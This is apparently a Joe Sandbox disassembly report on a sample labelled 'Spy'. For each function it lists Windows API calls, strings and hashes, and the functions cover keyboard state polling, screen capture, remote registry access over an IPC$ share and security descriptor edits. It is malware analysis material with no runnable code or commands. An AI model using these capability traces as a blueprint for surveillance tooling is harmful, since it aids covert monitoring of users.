DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00B0CB31

Strings

0, xrefs: 00B0C9E2

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 73ed0ca9f8922b5983fdbbbdb10088deb8570f96d30a0f8349c15d97697cb4f2
Instruction ID: ad7bc20434eb38681d96d4a15e916be5e6fb396565b578f2de069b5e33c6ccc3
Opcode Fuzzy Hash: 73ed0ca9f8922b5983fdbbbdb10088deb8570f96d30a0f8349c15d97697cb4f2
Instruction Fuzzy Hash: 73818B71608305AFDB10DF14C985AABBFE8FB88354F104AADF99593291CB70DD05CBA2

Function 00AEE25D Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00AEE31F
SystemTimeToFileTime.KERNEL32(?,?), ref: 00AEE32F
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00AEE33B
_wcscat.LIBCMT ref: 00AEE3B1
_wcscat.LIBCMT ref: 00AEE3C3
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00AEE3D8
SetCurrentDirectoryW.KERNEL32(?), ref: 00AEE3EC
SetCurrentDirectoryW.KERNEL32(?), ref: 00AEE41E
SetCurrentDirectoryW.KERNEL32(?), ref: 00AEE43F
_wcscpy.LIBCMT ref: 00AEE44B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00AEE48A

Strings

*.*, xrefs: 00AEE445

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System_wcscpy
String ID: *.*
API String ID: 3904293833-438819550
Opcode ID: d5d3c271a337c695abca5668efea5f7e505e26038a5df4be24a4566012377e98
Instruction ID: 39b4d99072d8692de0340166750a7eb4178a354c4177cd9ab68e4846bd244a7a
Opcode Fuzzy Hash: d5d3c271a337c695abca5668efea5f7e505e26038a5df4be24a4566012377e98
Instruction Fuzzy Hash: 9C6168725047859FCB10EF65C984A9EB3E8FF89310F04891EF989C7251EB35E945CB92

Function 00AD8ACA Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AD8E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00AD8E3C
Part of subcall function 00AD8E20: GetLastError.KERNEL32(?,00AD8900,?,?,?), ref: 00AD8E46
Part of subcall function 00AD8E20: GetProcessHeap.KERNEL32(00000008,?,?,00AD8900,?,?,?), ref: 00AD8E55
Part of subcall function 00AD8E20: HeapAlloc.KERNEL32(00000000,?,00AD8900,?,?,?), ref: 00AD8E5C
Part of subcall function 00AD8E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00AD8E73

Part of subcall function 00AD8EBD: GetProcessHeap.KERNEL32(00000008,00AD8916,00000000,00000000,?,00AD8916,?), ref: 00AD8EC9
Part of subcall function 00AD8EBD: HeapAlloc.KERNEL32(00000000,?,00AD8916,?), ref: 00AD8ED0
Part of subcall function 00AD8EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00AD8916,?), ref: 00AD8EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00AD8B2E
_memset.LIBCMT ref: 00AD8B43
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00AD8B62
GetLengthSid.ADVAPI32(?), ref: 00AD8B73
GetAce.ADVAPI32(?,00000000,?), ref: 00AD8BB0
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00AD8BCC
GetLengthSid.ADVAPI32(?), ref: 00AD8BE9
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00AD8BF8
HeapAlloc.KERNEL32(00000000), ref: 00AD8BFF
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00AD8C20
CopySid.ADVAPI32(00000000), ref: 00AD8C27
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00AD8C58
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00AD8C7E
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00AD8C92

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 5926f60c357b2184974bd5bd475c3ae741e99168c57ba99ab238afbfa3e8700d
Instruction ID: 4396501bf34a0b2f9c01422483ade888c3629a8ad36ddb87fbe38545bf3d2428
Opcode Fuzzy Hash: 5926f60c357b2184974bd5bd475c3ae741e99168c57ba99ab238afbfa3e8700d
Instruction Fuzzy Hash: 91614875910209EFDF10AFA1DD44EEEBB79BF04300F04816AF916A7290DF799A05CB60

Function 00AF7A04 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00AF7A79
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00AF7A85
CreateCompatibleDC.GDI32(?), ref: 00AF7A91
SelectObject.GDI32(00000000,?), ref: 00AF7A9E
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00AF7AF2
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00AF7B2E
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00AF7B52
SelectObject.GDI32(00000006,?), ref: 00AF7B5A
DeleteObject.GDI32(?), ref: 00AF7B63
DeleteDC.GDI32(00000006), ref: 00AF7B6A
ReleaseDC.USER32(00000000,?), ref: 00AF7B75

Strings

(, xrefs: 00AF7AFA

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 9d547aece3425f95af065fdf763813507df3d31e7139c8601411319aa88643f0
Instruction ID: 3929ef2fc870f8ed2e6b49c157a2514838faa8b39d8ab59a0e7544b25599e390
Opcode Fuzzy Hash: 9d547aece3425f95af065fdf763813507df3d31e7139c8601411319aa88643f0
Instruction Fuzzy Hash: 0E515D71904309EFCB15DFA8CC89EAEBBB9EF48350F14841DFA5AA7250D771A941CB60

Function 00AEA48D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00AEA4D4

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

LoadStringW.USER32(?,?,00000FFF,?), ref: 00AEA4F6
__swprintf.LIBCMT ref: 00AEA54F
__swprintf.LIBCMT ref: 00AEA568
_wprintf.LIBCMT ref: 00AEA61E
_wprintf.LIBCMT ref: 00AEA63C

Strings

Line %d (File "%s"):, xrefs: 00AEA549, 00AEA562
Error: , xrefs: 00AEA5E6
"%s" (%d) : ==> %s:, xrefs: 00AEA637
^ ERROR, xrefs: 00AEA5C0
"%s" (%d) : ==> %s:%s%s, xrefs: 00AEA619

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: bb43a1855236ae99e21708cb6794a2e137c11bbc98bf3d8e24b8c0755776f8d1
Instruction ID: 916fa820d9fc6957dd68c57de1b0125657e1e5c34403a4b452fa2ed8c1578c1f
Opcode Fuzzy Hash: bb43a1855236ae99e21708cb6794a2e137c11bbc98bf3d8e24b8c0755776f8d1
Instruction Fuzzy Hash: 6551AF7194011AABCF15EBE0CE86EEEB7B9AF15340F604165F505B20A2EF316F58CB61

Function 00A95BD7 Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A95BF1
GetMenuItemCount.USER32(00B47890), ref: 00AD0E7B
GetMenuItemCount.USER32(00B47890), ref: 00AD0F2B
GetCursorPos.USER32(?), ref: 00AD0F6F
SetForegroundWindow.USER32(00000000), ref: 00AD0F78
TrackPopupMenuEx.USER32(00B47890,00000000,?,00000000,00000000,00000000), ref: 00AD0F8B
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00AD0F97

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: 192a7dea67b8a985c883df7a3e3c55a268a2492bb4dcffe7dea91ff83a28959b
Instruction ID: cab97db5cce7f61a7fc6afe098db7ab369d69d1d87f2c2afea590e0c72f00b87
Opcode Fuzzy Hash: 192a7dea67b8a985c883df7a3e3c55a268a2492bb4dcffe7dea91ff83a28959b
Instruction Fuzzy Hash: D371E330A44609BFEF219B65CC85FAABFA9FF04364F244217F515A62D1CBB1A850DB90

Function 00AD83FA Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00A91821: _memmove.LIBCMT ref: 00A9185B

_memset.LIBCMT ref: 00AD8489
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00AD84BE
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00AD84DA
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00AD84F6
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00AD8520
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00AD8548
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00AD8553
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00AD8558

Strings

\IPC$, xrefs: 00AD84A0
SOFTWARE\Classes\, xrefs: 00AD842A
\CLSID, xrefs: 00AD8440

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 04784ad22b747d12018abf9147975b2245e92bc795f385894595daab571eb491
Instruction ID: 906e5ff5acd6ec8a9590a181f2135083653b01afff53c29e91e91692f9802743
Opcode Fuzzy Hash: 04784ad22b747d12018abf9147975b2245e92bc795f385894595daab571eb491
Instruction Fuzzy Hash: 0041F872D1022EABCF11EBA4DD95DEDB7B8FF04340F404569F816A3261EA759E44CB90

Function 00B0147A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B0040D,?,?), ref: 00B01491

Strings

HKCR, xrefs: 00B01539
HKCC, xrefs: 00B0155F
HKEY_USERS, xrefs: 00B01592
HKCU, xrefs: 00B01581
HKLM, xrefs: 00B0150F
HKU, xrefs: 00B015A3
HKEY_CLASSES_ROOT, xrefs: 00B01524
HKEY_LOCAL_MACHINE, xrefs: 00B014FA
HKEY_CURRENT_CONFIG, xrefs: 00B0154E
HKEY_CURRENT_USER, xrefs: 00B01570

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 0d7ce15418cb88c83e97b9dce18ab3681a5badb6ccf46ee4b3a03324a9e5d23f
Instruction ID: f97a8a8cf1eb4a383f772ff72ba877b3be9fe0ddeaaf45cba8c5088abeb68a74
Opcode Fuzzy Hash: 0d7ce15418cb88c83e97b9dce18ab3681a5badb6ccf46ee4b3a03324a9e5d23f
Instruction Fuzzy Hash: E0411B3250025A8BDF08EF94D981AEA3BA4FF62344F604895FC526B292DB30ED19CB50

Function 00AE5882 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00A91821: _memmove.LIBCMT ref: 00A9185B

Part of subcall function 00A9153B: _memmove.LIBCMT ref: 00A915C4

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00AE58EB
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00AE5901
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00AE5912
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00AE5924
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00AE5935

Strings

open , xrefs: 00AE589A
status PlayMe mode, xrefs: 00AE58E6
play PlayMe, xrefs: 00AE5930
close PlayMe, xrefs: 00AE58FC, 00AE5929
play PlayMe wait, xrefs: 00AE591F
alias PlayMe, xrefs: 00AE58C4

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: d686f9ca0b805fe397c4b2d3a7500d4353998188bb9d9dfe2fdb93aac5080395
Instruction ID: 318a1e3be6267dc776b9cd56e925c2e4713f7a41b799c236314b008154d045e4
Opcode Fuzzy Hash: d686f9ca0b805fe397c4b2d3a7500d4353998188bb9d9dfe2fdb93aac5080395
Instruction Fuzzy Hash: 16118231A9016AB9DB20A7A2DC5ADFF7BBCEBD1B50F900469B501A30E5EE601D05C5A0

Function 00AE4C0C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00AE4C27
gethostname.WSOCK32(?,00000100), ref: 00AE4C41
gethostbyname.WSOCK32(?), ref: 00AE4C4E
_wcscpy.LIBCMT ref: 00AE4C76
_memmove.LIBCMT ref: 00AE4C89
inet_ntoa.WSOCK32(?), ref: 00AE4C94
_strcat.LIBCMT ref: 00AE4CA2
_wcscpy.LIBCMT ref: 00AE4CB9
WSACleanup.WSOCK32 ref: 00AE4CC7
_wcscpy.LIBCMT ref: 00AE4CD5

Strings

0.0.0.0, xrefs: 00AE4C70

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 04f6b3eb3d6217cac5cd006f3cd7da4577806327541091d09b3e640c92960818
Instruction ID: 58fe7ac41c4177cd3c89b18483b0751537cdf81b8907058fe57355a5b157bc8c
Opcode Fuzzy Hash: 04f6b3eb3d6217cac5cd006f3cd7da4577806327541091d09b3e640c92960818
Instruction Fuzzy Hash: 3011E431919118AFDB11BB759D4AEEE77BCDF89710F1441A5F005970D1EFB099C18B90

Function 00AE5530 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00AE5535

Part of subcall function 00AA083E: timeGetTime.WINMM(?,00000002,00A8C22C), ref: 00AA0842

Sleep.KERNEL32(0000000A), ref: 00AE5561
EnumThreadWindows.USER32(?,Function_000654E3,00000000), ref: 00AE5585
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00AE55A7
SetActiveWindow.USER32 ref: 00AE55C6
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00AE55D4
SendMessageW.USER32(00000010,00000000,00000000), ref: 00AE55F3
Sleep.KERNEL32(000000FA), ref: 00AE55FE
IsWindow.USER32 ref: 00AE560A
EndDialog.USER32(00000000), ref: 00AE561B

Strings

BUTTON, xrefs: 00AE5599

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 94f59db3d6f5999c31c6442a118367204fcd459abf960a16c46b810fc928186e
Instruction ID: dba5fc382027a19dcd79da0f6c5f5bca5546c01d96bbf36bc17c3cc8f8965694
Opcode Fuzzy Hash: 94f59db3d6f5999c31c6442a118367204fcd459abf960a16c46b810fc928186e
Instruction Fuzzy Hash: F421A178A04684AFEB416F75FD89A7A3B6AFB56349F445019F101831A1CFB18E90DA31

Function 00AEDBD0 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00A84D37: __itow.LIBCMT ref: 00A84D62
Part of subcall function 00A84D37: __swprintf.LIBCMT ref: 00A84DAC

CoInitialize.OLE32(00000000), ref: 00AEDC2D
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00AEDCC0
SHGetDesktopFolder.SHELL32(?), ref: 00AEDCD4
CoCreateInstance.OLE32(00B13D4C,00000000,00000001,00B3B86C,?), ref: 00AEDD20
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00AEDD8F
CoTaskMemFree.OLE32(?,?), ref: 00AEDDE7
_memset.LIBCMT ref: 00AEDE24
SHBrowseForFolderW.SHELL32(?), ref: 00AEDE60
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00AEDE83
CoTaskMemFree.OLE32(00000000), ref: 00AEDE8A
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00AEDEC1
CoUninitialize.OLE32(00000001,00000000), ref: 00AEDEC3

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: c7db71753e2e0a7228a01325bff2382d9ab8f7eb7f92c1d84feca4b4c4c49508
Instruction ID: 652b5b1d63dc317ac7cc9e028d66bcdae65bf95b47358597ad2cb3db93ee8ac3
Opcode Fuzzy Hash: c7db71753e2e0a7228a01325bff2382d9ab8f7eb7f92c1d84feca4b4c4c49508
Instruction Fuzzy Hash: 86B1E975A00109AFDB14EFA5C989DAEBBF9FF88304B148459F906EB261DB70ED41CB50

Function 00AE081B Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00AE0896
SetKeyboardState.USER32(?), ref: 00AE0901
GetAsyncKeyState.USER32(000000A0), ref: 00AE0921
GetKeyState.USER32(000000A0), ref: 00AE0938
GetAsyncKeyState.USER32(000000A1), ref: 00AE0967
GetKeyState.USER32(000000A1), ref: 00AE0978
GetAsyncKeyState.USER32(00000011), ref: 00AE09A4
GetKeyState.USER32(00000011), ref: 00AE09B2
GetAsyncKeyState.USER32(00000012), ref: 00AE09DB
GetKeyState.USER32(00000012), ref: 00AE09E9
GetAsyncKeyState.USER32(0000005B), ref: 00AE0A12
GetKeyState.USER32(0000005B), ref: 00AE0A20

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 10db3c47cdef1a76adfcf512a8b9c7903b67318393f79779b78c64e87a959fe4
Instruction ID: 6a8fb85d9b486da75056955d4c20d7fb509b7a40067e872e83ee3bbb5f2bc478
Opcode Fuzzy Hash: 10db3c47cdef1a76adfcf512a8b9c7903b67318393f79779b78c64e87a959fe4
Instruction Fuzzy Hash: D851B870A047D829FB35EBB24550BAABFB49F11380F488599D5C2571C3DAE49ACCCBA1

Function 00ADCE00 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00ADCE1C
GetWindowRect.USER32(00000000,?), ref: 00ADCE2E
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00ADCE8C
GetDlgItem.USER32(?,00000002), ref: 00ADCE97
GetWindowRect.USER32(00000000,?), ref: 00ADCEA9
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00ADCEFD
GetDlgItem.USER32(?,000003E9), ref: 00ADCF0B
GetWindowRect.USER32(00000000,?), ref: 00ADCF1C
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00ADCF5F
GetDlgItem.USER32(?,000003EA), ref: 00ADCF6D
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00ADCF8A
InvalidateRect.USER32(?,00000000,00000001), ref: 00ADCF97

Memory Dump Source

